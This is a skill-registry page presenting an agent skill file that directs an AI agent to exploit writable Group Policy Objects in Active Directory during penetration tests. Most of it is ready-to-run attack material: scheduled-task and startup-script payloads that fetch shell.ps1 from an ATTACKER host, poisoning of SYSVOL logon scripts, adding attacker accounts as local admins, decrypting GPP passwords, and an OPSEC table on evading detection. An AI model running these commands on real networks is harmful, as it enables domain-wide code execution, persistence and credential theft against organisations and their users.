ad-gpo-abuse
Skill2 starsChanged 2 months agoMITView on GitHub
You are helping a penetration tester exploit writable Group Policy Objects
In this repository255 other files it gives its agents.
- ad-acl-abuseSkill
- ad-adcs-access-and-relaySkill
- ad-adcs-persistenceSkill
- ad-adcs-template-abuseSkill
- ad-ad-discoverySkill
- ad-ad-persistenceSkill
- ad-auth-coercion-relaySkill
- ad-credential-dumpingSkill
- ad-kerberos-delegationSkill
- ad-kerberos-roastingSkill
- ad-kerberos-ticket-forgingSkill
- ad-pass-the-hashSkill
- ad-sccm-exploitationSkill
- ad-trust-attacksSkill
- hunt-ntlm-infoSkill
- offensive-active-directorySkill
- hunt-llm-aiSkill
- hunt-rag-vectorSkill
- offensive-ai-securitySkill
- cloud-iam-deepSkill
- hunt-cloud-misconfigSkill
- hunt-k8sSkill
- m365-entra-attackSkill
- network-container-escapesSkill
- offensive-cloudSkill
- offensive-container-escapeSkill
- offensive-k8s-attacksSkill
- okta-attackSkill
- vmware-vcenter-attackSkill
- credential-password-sprayingSkill
- hunt-brute-forceSkill
- hunt-forgot-passwordSkill
- post-exploit-credential-recoverySkill
- meme-coin-auditSkill
- offensive-crypto-attacksSkill
- web3-auditSkill
- ctfSkill
- advisory-miningSkill
- auth-bypassSkill
- code-injection-codegenSkill
- command-injectionSkill
- cross-pollinationSkill
- cve-hunting-methodologySkill
- decompression-bombSkill
- entity-expansionSkill
- fp-checkSkill
- method-clobberingSkill
- path-traversalSkill
- prototype-pollutionSkill
- recursion-dosSkill
- redosSkill
- sandbox-escapeSkill
- target-reconSkill
- web2-vuln-classesSkill
- evasion-av-edr-evasionSkill
- offensive-anti-forensicsSkill
- offensive-edr-evasionSkill
- offensive-keylogger-archSkill
- offensive-mitigationsSkill
- offensive-waf-bypassSkill
- The first 60 shown.
The file
Show its rules and text
We split this skill into the rules it gives an agent
19 rules. About 0 are common, 13 are distinctive, and 6 are very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈13
Distinctive · estimate
This author's own choices. Worth a look.
6
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Very specific: line 21
Check for ./engagement/ directory.
- Distinctive: line 23
When an engagement directory exists:
- Very specific: line 30
Call get_state_summary() from the state MCP server to read current engagement state.
- Distinctive: line 46
Write access to a GPO (GenericWrite, WriteDACL, WriteProperty, GenericAll, or WriteOwner on the GPO object)
- Very specific: line 74
Look for edges: GenericWrite, GenericAll, WriteDACL, WriteOwner, Owns on GPO objects.
- Very specific: line 125
GPO Refresh Timing: Default is every 90 minutes + 0-30 minute random offset.
- Distinctive: line 263
If you have write access to logon scripts stored in SYSVOL or NETLOGON, inject payload into existing scripts.
- Distinctive: line 389
Always clean up GPO modifications: after obtaining access. GPO changes affect all computers in the linked OU and persist until removed.
- Distinctive: line 433
Verify the GPO is linked to the correct OU
- Distinctive: line 434
Verify the computer object is in the linked OU
- Distinctive: line 435
Check GPO enforcement/inheritance blocking
- Distinctive: line 441
Check both: AD ACL on the GPO object AND NTFS ACLs on the SYSVOL path
- Very specific: line 442
Use smbclient or smbcacls to check filesystem permissions
- Distinctive: line 446
Use exact GPO display name (case-sensitive)
- Distinctive: line 448
Verify you can reach SYSVOL share
- Very specific: line 452
Use -hashes lm:nt format (both LM and NT hash required)
- Distinctive: line 454
Use full FQDN for DC hostname
- Distinctive: line 458
Verify the cpassword value is complete (not truncated)
- Distinctive: line 460
Check if the password was set after MS14-025 patch (post-2014 GPPs should not contain cpassword)
≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
GPO Abuse
You are helping a penetration tester exploit writable Group Policy Objects for code execution, privilege escalation, and lateral movement across Active Directory. All testing is under explicit written authorization.
Kerberos-first authentication: Enumeration and exploitation commands
use Kerberos authentication where supported. pyGPOAbuse and Impacket
tools use -k -no-pass, GroupPolicyBackdoor supports -k. Windows
tools (SharpGPOAbuse, PowerGPOAbuse) use the current domain session.
Engagement Logging
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
- Print
[gpo-abuse] Activated → <target>to the screen on activation. - Evidence → save significant output to
engagement/evidence/with descriptive filenames (e.g.,sqli-users-dump.txt,ssrf-aws-creds.json).
State Management
Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- Write access to a GPO (GenericWrite, WriteDACL, WriteProperty, GenericAll, or WriteOwner on the GPO object)
- OR write access to SYSVOL/NETLOGON logon scripts
- OR read access to SYSVOL (for GPP password extraction)
- Tools:
SharpGPOAbuse(Windows),PowerGPOAbuse(PowerShell),pyGPOAbuse(Linux),GPOHound, optionallyGroupPolicyBackdoor
Kerberos-first workflow (for Linux tools):
getTGT.py DOMAIN/user@DC.DOMAIN.LOCAL -hashes :NTHASH
export KRB5CCNAME=user.ccacheStep 1: Enumerate GPO Permissions
GPOHound (Comprehensive GPO Audit)
# Dump and analyze all GPOs
pipx install "git+https://github.com/cogiceo/GPOHound"
gpohound dump --json
gpohound analysis --processed --object group registry
gpohound dump --list --gpo-nameBloodHound (Graph-Based Discovery)
Look for edges: GenericWrite, GenericAll, WriteDACL, WriteOwner,
Owns on GPO objects. Check which OUs the GPO is linked to — this
determines the blast radius.
PowerView (ACL Enumeration)
# Find GPOs where current user has write access
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {
($_.ActiveDirectoryRights -match "GenericWrite|WriteDacl|WriteProperty|GenericAll|WriteOwner") -and
($_.SecurityIdentifier -match (Get-DomainUser -Identity $env:USERNAME).objectsid)
}
# Get GPO details
Get-DomainGPO -Identity "SuperSecureGPO"
# Find which OUs are linked to the GPO
Get-DomainOU -GPLink "{GPO_GUID}" | Select DistinguishedName
# Find computers in those OUs
Get-DomainOU -GPLink "{GPO_GUID}" | ForEach-Object {
Get-DomainComputer -SearchBase $_.DistinguishedName
}NetExec GPO Enumeration
nxc ldap DC.DOMAIN.LOCAL --use-kcache -M gpo_enumKey Information to Gather
- GPO name and GUID — identifies the policy object
- Linked OUs — determines which computers/users are affected
- Computer count — blast radius of the modification
- Current GPO settings — what the GPO already configures
- GPO file path —
\\DOMAIN\SYSVOL\DOMAIN\Policies\{GUID}\
Step 2: Choose Exploitation Method
| Method | Execution Context | Timing | OPSEC | Go To |
| Immediate task | SYSTEM | Next GPO refresh (~90 min) | MEDIUM | Step 3A |
| Computer startup script | SYSTEM | Next reboot | MEDIUM | Step 3B |
| User logon script | Logged-in user | Next logon | MEDIUM | Step 3B |
| Registry Run key | User context | Next logon | LOW | Step 3C |
| Local admin assignment | N/A (persistent) | Next GPO refresh | MEDIUM | Step 3D |
| User rights assignment | N/A (persistent) | Next GPO refresh | LOW | Step 3D |
| SYSVOL logon script poison | Logged-in user | Next logon | LOW | Step 4 |
GPO Refresh Timing: Default is every 90 minutes + 0-30 minute random
offset. Force refresh on a target: gpupdate /force (requires access).
DCs refresh every 5 minutes.
Step 3: GPO Exploitation
Step 3A: Immediate Task (Runs at Next GPO Refresh)
Creates a scheduled task that executes once per GPO refresh cycle.
SharpGPOAbuse (Windows):
# Add immediate task — runs as SYSTEM
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" \
--Author "DOMAIN\Admin" --Command "cmd.exe" \
--Arguments "/c powershell.exe -nop -w hidden -enc BASE64_PAYLOAD" \
--GPOName "Vulnerable GPO" --ForcePowerGPOAbuse (PowerShell):
. .\PowerGPOAbuse.ps1
Add-GPOImmediateTask -TaskName 'SystemUpdate' \
-Command 'powershell.exe' \
-CommandArguments '-nop -w hidden -enc BASE64_PAYLOAD' \
-Author 'DOMAIN\Administrator' -Scope Computer \
-GPOIdentity 'Vulnerable GPO'pyGPOAbuse (Linux):
# Immediate task with reverse shell
python3 pygpoabuse.py DOMAIN/user -hashes lm:nt \
-gpo-id "{GPO_GUID}" \
-powershell \
-command "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')" \
-taskname "SystemUpdate" -description "System maintenance"GroupPolicyBackdoor (Linux, Kerberos-aware):
# Create ImmediateTask_create.ini:
# [MODULECONFIG]
# name = Scheduled Tasks
# type = computer
# [MODULEOPTIONS]
# task_type = immediate
# program = cmd.exe
# arguments = /c "powershell -enc BASE64_PAYLOAD"
python3 gpb.py gpo inject --domain DOMAIN.LOCAL --dc DC.DOMAIN.LOCAL \
-k --module modules_templates/ImmediateTask_create.ini \
--gpo-name 'Vulnerable GPO'
# Save state folder for cleanup (printed in output)Step 3B: Logon/Startup Scripts
SharpGPOAbuse (Windows):
# Computer startup script (runs as SYSTEM at boot)
.\SharpGPOAbuse.exe --AddComputerScript --ScriptName "update.bat" \
--ScriptContents "powershell.exe -nop -w hidden -enc BASE64_PAYLOAD" \
--GPOName "Vulnerable GPO"
# User logon script (runs as user at logon)
.\SharpGPOAbuse.exe --AddUserScript --ScriptName "login.bat" \
--ScriptContents "powershell.exe -nop -w hidden -enc BASE64_PAYLOAD" \
--GPOName "Vulnerable GPO"PowerGPOAbuse (PowerShell):
. .\PowerGPOAbuse.ps1
Add-ComputerScript -ScriptName 'update.ps1' \
-ScriptContent 'IEX(New-Object Net.WebClient).DownloadString("http://ATTACKER/shell.ps1")' \
-GPOIdentity 'Vulnerable GPO'
Add-UserScript -ScriptName 'login.ps1' \
-ScriptContent 'IEX(New-Object Net.WebClient).DownloadString("http://ATTACKER/shell.ps1")' \
-GPOIdentity 'Vulnerable GPO'Step 3C: Registry Run Key (Persistence)
Uses Group Policy Preferences to set a registry value that executes on every logon.
# Native RSAT module
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=domain,DC=local"
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create \
-Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" \
-ValueName "Updater" \
-Value "%COMSPEC% /b /c start /b /min \\DC\SYSVOL\DOMAIN\scripts\payload.exe" \
-Type ExpandStringStep 3D: User Rights and Local Admin Assignment
SharpGPOAbuse (Windows):
# Add user as local admin on all GPO-linked computers
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount attacker \
--GPOName "Vulnerable GPO"
# Grant privileges (SeDebugPrivilege for mimikatz, etc.)
.\SharpGPOAbuse.exe --AddUserRights \
--UserRights "SeTakeOwnershipPrivilege,SeDebugPrivilege" \
--UserAccount attacker --GPOName "Vulnerable GPO"PowerGPOAbuse (PowerShell):
. .\PowerGPOAbuse.ps1
# Local admin assignment
Add-LocalAdmin -Identity 'attacker' -GPOIdentity 'Vulnerable GPO'
# Privilege assignment
Add-UserRights -Rights "SeLoadDriverPrivilege","SeDebugPrivilege" \
-Identity 'attacker' -GPOIdentity 'Vulnerable GPO'StandIn (.NET):
# Local admin
StandIn.exe --gpo --filter "Vulnerable GPO" --localadmin attacker
# User rights
StandIn.exe --gpo --filter "Vulnerable GPO" --setuserrights attacker \
--grant "SeDebugPrivilege,SeLoadDriverPrivilege"Step 4: SYSVOL/NETLOGON Logon Script Poisoning
If you have write access to logon scripts stored in SYSVOL or NETLOGON, inject payload into existing scripts.
Discover Logon Scripts
# Find users with logon scripts configured
bloodyAD -k -no-pass get search --filter '(scriptPath=*)' \
--attr sAMAccountName,scriptPath
# Spider SYSVOL for scripts — use manspider for keyword/regex content search
# manspider runs from the attackbox via Bash (quick pass — orchestrator may task deeper review)
manspider DC.DOMAIN.LOCAL -u 'user' -p 'Password123' -d DOMAIN \
-s SYSVOL -c password passwd cred secret -f ps1 bat cmd vbs xml# PowerView
Get-DomainUser -Properties scriptPath | Where-Object { $_.scriptPath }Test Write Access
# Check if you can write to SYSVOL scripts folder
smbclient //DC.DOMAIN.LOCAL/SYSVOL -k --use-krb5-ccache=$KRB5CCNAME
smb: \> cd DOMAIN.LOCAL\scripts\
smb: \> put test.txtPoison Existing Script
Prepend payload to an existing logon script to preserve original functionality:
VBScript (.vbs):
' Prepend to existing logon script
Set cmdshell = CreateObject("Wscript.Shell")
cmdshell.run "powershell -nop -w hidden -enc BASE64_PAYLOAD"
' Original script content below...Batch (.bat / .cmd):
@echo off
REM Prepend to existing logon script
start /b powershell -nop -w hidden -enc BASE64_PAYLOAD
REM Original script content below...PowerShell (.ps1):
# Prepend to existing logon script
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')
# Original script content below...OPSEC Notes
- Runs under the logging-in user's context (not SYSTEM)
- Scope determined by which users have this script configured
- Preserve original script content and timestamps
- Clean up by restoring the original file after callback received
Step 5: GPP Password Extraction
Group Policy Preferences stored AES-encrypted passwords in SYSVOL XML files. Microsoft published the key (MS14-025), making decryption trivial. New GPP passwords can no longer be set, but old ones may persist.
Automated Extraction
# Impacket Get-GPPPassword
Get-GPPPassword.py -k -no-pass DOMAIN/user@DC.DOMAIN.LOCAL
# NetExec modules
nxc smb DC.DOMAIN.LOCAL --use-kcache -M gpp_password
nxc smb DC.DOMAIN.LOCAL --use-kcache -M gpp_autologin# PowerSploit
Get-GPPPassword
# Metasploit
use post/windows/gather/credentials/gppManual Search
# Search SYSVOL for cpassword attribute
findstr /S /I cpassword \\DOMAIN.LOCAL\SYSVOL\DOMAIN.LOCAL\Policies\*.xmlCommon XML files containing GPP passwords:
Groups.xml— local group membershipServices.xml— service account passwordsScheduledtasks.xml— scheduled task credentialsDataSources.xml— data source connection stringsDrives.xml— mapped drive credentialsPrinters.xml— printer connection credentials
Manual Decryption
# AES key (published by Microsoft):
# 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b
# Decrypt cpassword value
echo 'CPASSWORD_BASE64' | base64 -d | \
openssl enc -d -aes-256-cbc \
-K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b \
-iv 0000000000000000
# gpp-decrypt (Kali tool)
gpp-decrypt CPASSWORD_BASE64Step 6: Cleanup
Always clean up GPO modifications after obtaining access. GPO changes affect all computers in the linked OU and persist until removed.
GroupPolicyBackdoor (State-Based Cleanup)
# Clean up using state snapshot from Step 3A
python3 gpb.py gpo clean --domain DOMAIN.LOCAL --dc DC.DOMAIN.LOCAL \
-k --state-folder 'state_folders/TIMESTAMP'Manual Cleanup
# Remove immediate task
# Delete: \\DOMAIN\SYSVOL\DOMAIN\Policies\{GUID}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
# Remove logon script entry
# Edit: GPO -> User/Computer Configuration -> Scripts -> remove added script
# Remove local admin assignment
# Edit: GPO -> Computer Configuration -> Restricted Groups -> remove entry
# Force GPO refresh to propagate cleanup
gpupdate /force /target:computerVerify Cleanup
# Check GPO contents after cleanup
Get-GPOReport -Name "Vulnerable GPO" -ReportType Xml -Path gpo-report.xml
# Review XML for any remaining modificationsStep 7: Escalate or Pivot
Troubleshooting
GPO Modification Not Taking Effect
- GPO refresh default is 90 min + 0-30 min random offset
- Force refresh:
gpupdate /force(on target machine) - DCs refresh every 5 minutes
- Verify the GPO is linked to the correct OU
- Verify the computer object is in the linked OU
- Check GPO enforcement/inheritance blocking
Write Access Denied on SYSVOL
- GPO object permissions in AD and SYSVOL filesystem ACLs are separate
- You may have AD write but not SYSVOL write, or vice versa
- Check both: AD ACL on the GPO object AND NTFS ACLs on the SYSVOL path
- Use
smbclientorsmbcaclsto check filesystem permissions
SharpGPOAbuse "GPO Not Found"
- Use exact GPO display name (case-sensitive)
- Try GPO GUID instead:
--GPOName "{12345678-ABCD-1234-ABCD-123456789012}" - Verify you can reach SYSVOL share
pyGPOAbuse Authentication Errors
- Use
-hashes lm:ntformat (both LM and NT hash required) - For Kerberos: ensure TGT is valid and clock is synced
- Use full FQDN for DC hostname
GPP Decryption Returns Garbage
- Verify the cpassword value is complete (not truncated)
- Some tools expect the raw base64, others expect the XML attribute value
- Check if the password was set after MS14-025 patch (post-2014 GPPs should not contain cpassword)
KRB_AP_ERR_SKEW (Clock Skew)
Kerberos requires clocks within 5 minutes of the DC. This is a Clock Skew Interrupt — stop immediately and return to the orchestrator. Do not retry or fall back to NTLM. The fix requires root:
sudo ntpdate DC_IP
# or
sudo rdate -n DC_IPOPSEC Comparison
| Technique | OPSEC | Detection Events | Notes |
| Immediate task | MEDIUM | 4688/4689 (process creation) | Runs once per refresh cycle |
| Startup script | MEDIUM | 4688 (process creation at boot) | Persists until removed |
| Logon script (GPO) | MEDIUM | 4688 (at user logon) | Per-user scope |
| Registry Run key | LOW | 4657 (registry modify) | Persistent, subtle |
| Local admin assignment | MEDIUM | 4732 (member added to group) | Affects all linked computers |
| SYSVOL script poison | LOW | SMB write (if audited) | Modifies existing file |
| GPP password read | LOW | SMB read (SYSVOL) | Passive, no modification |
| User rights assignment | LOW | 4704 (right assigned) | Less commonly monitored |
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

